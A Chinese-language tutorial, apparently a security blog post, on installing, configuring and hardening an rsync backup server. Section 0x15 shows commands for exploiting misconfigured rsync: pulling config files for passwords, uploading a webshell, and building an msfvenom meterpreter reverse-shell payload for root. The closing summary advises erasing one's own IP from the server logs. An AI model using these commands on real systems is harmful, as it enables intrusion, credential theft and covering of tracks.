服务安全 [ rsync ]

关于 Rsync

1
一款开源的,功能繁多的,同时支持对本地和远程进行全量或增量的备份工具,主要用于不同服务器间进行数据同步,默认使用增量备份

0x01 rsync 演示环境 [ Rsync服务端系统为 centOS6.8_x64 最小化安装 ]

1
2
rsync 服务端:
RsyncServer ip: 192.168.5.4

1
2
3
rsync 客户端:
RsyncClient26 ip: 192.168.5.7 Fedora 26 x86_64
RsyncClient14 ip: 192.168.5.8 Ubuntu 14.04.3 LTS x86_64

0x02 对于 rsync 来讲,不管推还是拉,在此之前都会自动和之前的文件进行比对,只要有文件属性或者内容发生改变就重新备份,否则不会有任何动作,即先比较后同步,另外,rsync 默认同步时是不加密的,可使用 ssh隧道 的方式来进行加密同步

1
2
3
4
5
6
7
8
远程拷贝 [ 加密拷贝 ]: 相当于scp
# scp /root/pentest.txt root@192.168.5.4:/tmp/hacked.txt
本地拷贝: 相当于cp
# cp -R /etc/ /webbak/
删除文件: 相当于rm
# rm -fr /webbak/etc/

0x03 利用 rsync + crontab 的方式实现自动定时备份

1
主要用它来备份其它机器上的各种重要系统及服务配置文件,各类脚本代码,等……

0x04 利用 rsync + sersync 的方式自动进行实时备份

1
主要用它来备份用户上传上来的各类文件数据,因为涉及到用户传上来之后可能马上就要访问到该资源,所以要求必须进行实时备份才行

0x05 正常情况下,系统安装完以后默认就已经安装好了 rsync 工具,首先,在Rsync服务端和客户端上同时创建好各种用于备份的目录

1
2
3
4
# rpm -qa rsync
# rsync --version 此次演示使用的全部为3.x以上的版本
# mkdir /webbak/{file,sql,config,php,jsp,xml,pic,word,txt} -p
# chown -R backuser.backuser /webbak/

0x06 rsync 客户端常用参数说明

1
2
3
4
5
6
-a 归档模式,保持文件原有的各种属性信息
-v 详细输出
-z 传输时自动压缩提高传输速度
-e 通过隧道同步
--exclude 排除某单个文件
--delete 把两个目录同步成一模一样,该参数慎用,会把原有的数据先清空再同步,如果有需求,要无差异同步,可以加上此选项

0x07 rsync 几种不同的工作模式

最普通的本地拷贝 模式,rsync 本地同步

1
2
# rsync -avz /etc/hosts /webbak/config/ 此时就相当于cp,只不过它在拷贝时会自动比对,如果文件没有任何属性变化,则不同步
# rsync -avz --delete /webbak/xml/ /webbak/config/ 相当于把config目录中的内容换成跟xml目录中的一模一样,容易误操作,造成数据丢失

通过ssh隧道的方式进行同步,实际使用中建议用普通用户身份拷贝,只适合临时使用如下,我们先在Rsync客户端上创建一些等会儿用于备份的目录及文件

1
2
3
4
# useradd backuser
# echo "admin" | passwd --stdin backuser
# touch /tmp/file{1..15}.txt
# mkdir /tmp/dir{1..15}

推 [ push ] 从本地到远端,如果加--delete 则会先把原有的删掉,然后重新同步,如果是目录要注意加上最后的斜线,否则会把目录本身也带上,加上了以后才表示目录下的子目录和文件

1
# rsync -avzP -e 'ssh -p 22' /tmp/ backuser@192.168.5.4:/webbak/ 在Ubuntu14上把本地指定的文件往RsyncServer上推

拉 [ pull ] 从远端到本地,还是注意目录后面斜杠的问题,如果是拉去整个目录下的内容,记得在最后带上斜线

1
# rsync -avzP -e 'ssh -p 22' backuser@192.168.5.4:/webbak/ /webbak/ 在Fedora26上把RsyncServer上指定的文件往本地拉

通过服务 [ daemon ] 的方式进行同步:

推 [ push ] 从本地到远端

1
# rsync -avz /data/ rsync_backup@192.168.5.4::webbak/ --password-file=/etc/rsync.password

拉 [pull] 从远端到本地

1
# rsync -avz rsync_backup@192.168.5.4::webbak/ /data/ --password-file=/etc/rsync.password

0x08 前面都是一些基于客户端的简易备份用法,现在开始真正配置rsync服务端[ 其实就是 daemon 模式 ],配置文件默认是不存在的,需要自行手工创建

1
2
3
# useradd rsync -s /bin/nologin -M 创建rsync服务用户,此用户不需要创建家目录,也不需要登陆到系统
# touch /etc/rsyncd.conf
# vi /etc/rsyncd.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
uid = rsync 当客户端连过来在当前系统中具备什么样的权限都是基于此用户
gid = rsync 此处权限映射非常重要,生产环境中严禁以root身份来运行rsync服务,防止别人用来提权
use chroot = no
max connections = 2000 客户端最大并发连接数,也就说同时允许多少个客户端来连接,根据你实际的机器数量来
timeout = 600 客户端连服务端超时时长,超过指定时长就自动断开
pid file = /var/run/rsyncd.pid 进程号文件
lock file = /var/run/rsync.lock
log file = /var/log/rsyncd.log 指定rsync 服务日志文件存放位置,出了问题,直接来这儿看
ignore errors 忽略错误
read only = false 必须同时允许可读写,要不然只能拉不能推
list = false 禁止客户端对服务端执行list操作,绝不能让客户端看到有什么,比较危险,一旦看到目录结构,肯定就会被人想办法利用
hosts allow = 192.168.5.0/24 允许访问的网段或者ip,如果rsync直接暴露在公网,尤其要注意此项,也可利用iptables让其只能让指定内网访问
host deny = 0.0.0.0/32
auth users = rsync_backup 此用户为纯虚拟用户跟系统用户没有任何关系,如果不加此项,则表示允许匿名访问,大多数rsync安全问题都集中于此
secrets file = /etc/rsync.password 存放密码的文件
#####################################################################
[webbak] 指定模块名,这里的模块可以同时有n个,这里只是为了演示效果所以就写了一个
comment = RsyncServer by klion 2017.7.5 模块描述
path = /webbak/ 指定备份目录
1
2
3
4
5
6
7
8
9
# man rsyncd.conf 查看rsync配置帮助
# rsync --daemon 启动rsync服务,默认端口873
# echo "rsync --daemon" >> /etc/rc.local 加入自启动,可以自己写init.d脚本
# netstat -tunpl | grep rsync 或者 # lsof -i :873
# chown -R rsync /webbak/ 需要让客户端能写,所以要改下备份目录属主
# echo "rsync_backup:admin" > /etc/rsync.password 创建虚拟账号密码,主要是希望备份的时候不要交互,方便后续写脚本
# cat /etc/rsync.password
# chmod 600 /etc/rsync.password && ls -l /etc/rsync.password
# pkill rsync 想关闭rsync服务,直接杀进程即可

常用杀进程方式

1
2
3
# pkill 进程名 属于强力杀
# killall 进程名 属于平滑杀
# kill pid 加 -9 也属于强力杀

0x09 服务端确认没问题以后,我们再来配置 rsync 客户端,一般都是同内网中需要备份的所有机器

[ 记住如果是备份目录,后面务必加上'/',否则它会把目录本身也带上,而我们只是想备份目标目录下的子目录和文件而已 ]:

1
2
3
# echo "admin" > /etc/rsync.password 这里的密码务必要和服务端的密码对应上,只需要密码即可
# chmod 600 /etc/rsync.password && ls -l /etc/rsync.password 修改并检查密码文件权限
# cat /etc/rsync.password

把 RsyncClient26 客户端的文件推到服务端

1
# rsync -avz /tmp/ rsync_backup@192.168.5.4::webbak --password-file=/etc/rsync.password

同步推的时候排除某单个文件或多个文件

1
2
# rsync -avz --exclude=file1.txt /tmp/ rsync_backup@192.168.5.4::webbak --password-file=/etc/rsync.password
# rsync -avz --exclude={file1.txt,file2.txt,file3.txt} /tmp/ rsync_backup@192.168.5.4::webbak --password-file=/etc/rsync.password

在RsyncClient14上把服务端的文件拉到本地指定的目录中

1
# rsync -avz rsync_backup@192.168.5.4::webbak /webbak/ --password-file=/etc/rsync.password

0x10 rsync 基本安全优化:

启动服务时,监听指定的ip和端口,一般只监听内网卡的ip,切记不要 0.0.0.0,默认端口一般都不会改,其实,对服务来讲,改端口作用并不大,服务扫描识别照样能探测出来,如果实在有业务需求需要把rsync直接暴露在公网上,可通过vpn内网或者ssh隧道的方式来搞

1
2
# rsync --daemon --address=192.168.5.4 --port=873
# netstat -tulnp

00x11 关于更多rsync故障问题,可参考日志进行分析:

1
# cat /var/log/rsyncd.log 日志文件位置在前面Rsync服务端配置中我们已经定义好了

0x12 rsync 优缺点简述:

优点

1
默认即增量同步,支持 socket[daemon],非常方便集中备份

缺点

1
2
3
同步大量小文件时,容易造成rsync进程挂掉,建议最好先集中打包压缩好再同步
对于超大文件,中间容易中断,这里需要注意下,虽然同步中断了,但文件在rsync服务器上依然存在
只不过是个还没传完整的隐藏文件,为了避免下次同步报错,同步之前务必先手工把那个'隐藏'文件先干掉

0x13 对每个客户端做计划任务实现定时备份:

下面是经常需要备份的一些重要系统配置文件,其中也包括你自己写的各种脚本以及各类后端web脚本文件…:

1
hosts|network|resolv.conf|ifcfg-eth*|fstab|passwd|shadow|gshaow|gpasswd|exports|/var/spool/cron/root....

0x14 在所有Rsync客户端上定时执行如下小脚本,即可实现定时备份,只是个小demo,如果要实际用,还需要好好完善下,注意,小文件务必先打包压缩好再推,以加快同步速度:

1
2
3
# mkdir /opt/shdir
# cd /opt/shdir
# vi bakup.sh

1
2
3
4
5
#!/bin/bash
tmp_dir="`/sbin/ifconfig | awk -F '[ :]+' 'NR==20 {print $4}'`_$(date +%F-%T)" # 取ip和时间,不同的发行版,awk截取的位置可能要稍微改下
/bin/mkdir /bakdata/$tmp_dir -p && \ # 创建临时目录,注意,下面是为了方便,才用的'|'把要备份的文件分开,实际在脚本里面要分开写
/bin/cp /etc/{hosts|passwd|shadow|exports|resolv.conf|fstab} /bakdata/$tmp_dir && \
/usr/bin/rsync -az /bakdata/$tmp_dir.tar.gz rsync_backup@192.168.5.4::webbak --password-file=/etc/rsync.password
1
2
tmp_dir="`ifconfig | awk -F '[ :]+' 'NR==20 {print $4}'`_$(date +%F-%T)" ubuntu14上的写法
tmp_dir="`ifconfig | awk -F '[ :]+' 'NR==20 {print $3}'`_$(date +%F-%T)" fedora26上的写法
1
2
# crontab -e
00 01 * * * /bin/sh /opt/shdir/bakup.sh >/dev/null 2>&1 # 每天晚上12点自动备份

0x15 如何利用 Rsync 的各种错误配置

下面是一些常见的rsync错误配置,以root身份来运行rsync,可读写,且允许匿名访问

尝试把各类敏感配置文件拉到本地,为后续进一步渗透搜集必要信息,其实实战中这个危害还是蛮大的,很多时候就是这样搞到了密码

1
2
3
4
# rsync 192.168.3.35::
# rsync 192.168.3.35::webbak/
# rsync 192.168.3.35::webbak/config/
# rsync -avz 192.168.3.35::webbak/config/config.inc.php /root/config.php


把本地的webshell推到目标的备份站点目录中,不过,一般即使上传webshell也没什么用,因为备份服务器的东西,在没出特别大的问题时基本都不会用备份,也就是说,你的webshell可能根本到不了真正的web服务网站目录里,后端脚本自然没法运行,除非目标的rsync服务和web服务在同一台机器上,可能性稍微还大点,另外,细心的朋友可能也发现了,这里的hacked.php脚本是没有执行权限的,大家可以在本地赋予好完全权限,然后再往目标上保持原文件属性同步

1
2
# rsync shell.php 192.168.3.35::webbak/web-data/hacked.php
# rsync 192.168.3.35::webbak/web-data/

利用rsync服务尝试本地提权,实战中基本也不会碰到这种情况,起码到现在为止,自己从来都没遇到过,运气好也说不定,因为服务本身是以root权限起的,所以利用很简单,可以在本地推上去一个带有suid的payload,注意一定要保持文件的原有属性推,当我们在webshell或者菜刀中执行该payload时,正常情况下就会弹回一个root权限的meterpreter,不过,自己实际测试中,多次尝试并未达到预期效果,原因还在查找中,另外,在msf中也早已提供好了对应的利用模块,大家可自行尝试

1
2
3
4
# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.38 LPORT=443 -f elf -o rsyncshell
# ll rsyncshell
# rsync -avz /root/rsyncshell 192.168.3.35::webbak/web/
$ ./rsyncshell

0x16 rsync 简单加固

1
2
3
4
务必以较低的系统用户权限来运行rsync服务,一般都是系统伪用户
严格限制外部ip访问,一般只允许指定的内网ip进行访问
如果有公网备份需求,可利用iptables严格进行来源限制,如果可能的话最好用vpn内网或者ssh隧道来进行
开启用户认证,严禁被匿名访问



小结:
    其实说白点,只要不是白痴,想配错基本是非常困难的,都是再基础不过的服务了,非常简单,这里不多啰嗦了,多提醒一句,走的时候记得把rsync服务端日志中,自己ip的同步记录全部干掉,避免一些不必要的麻烦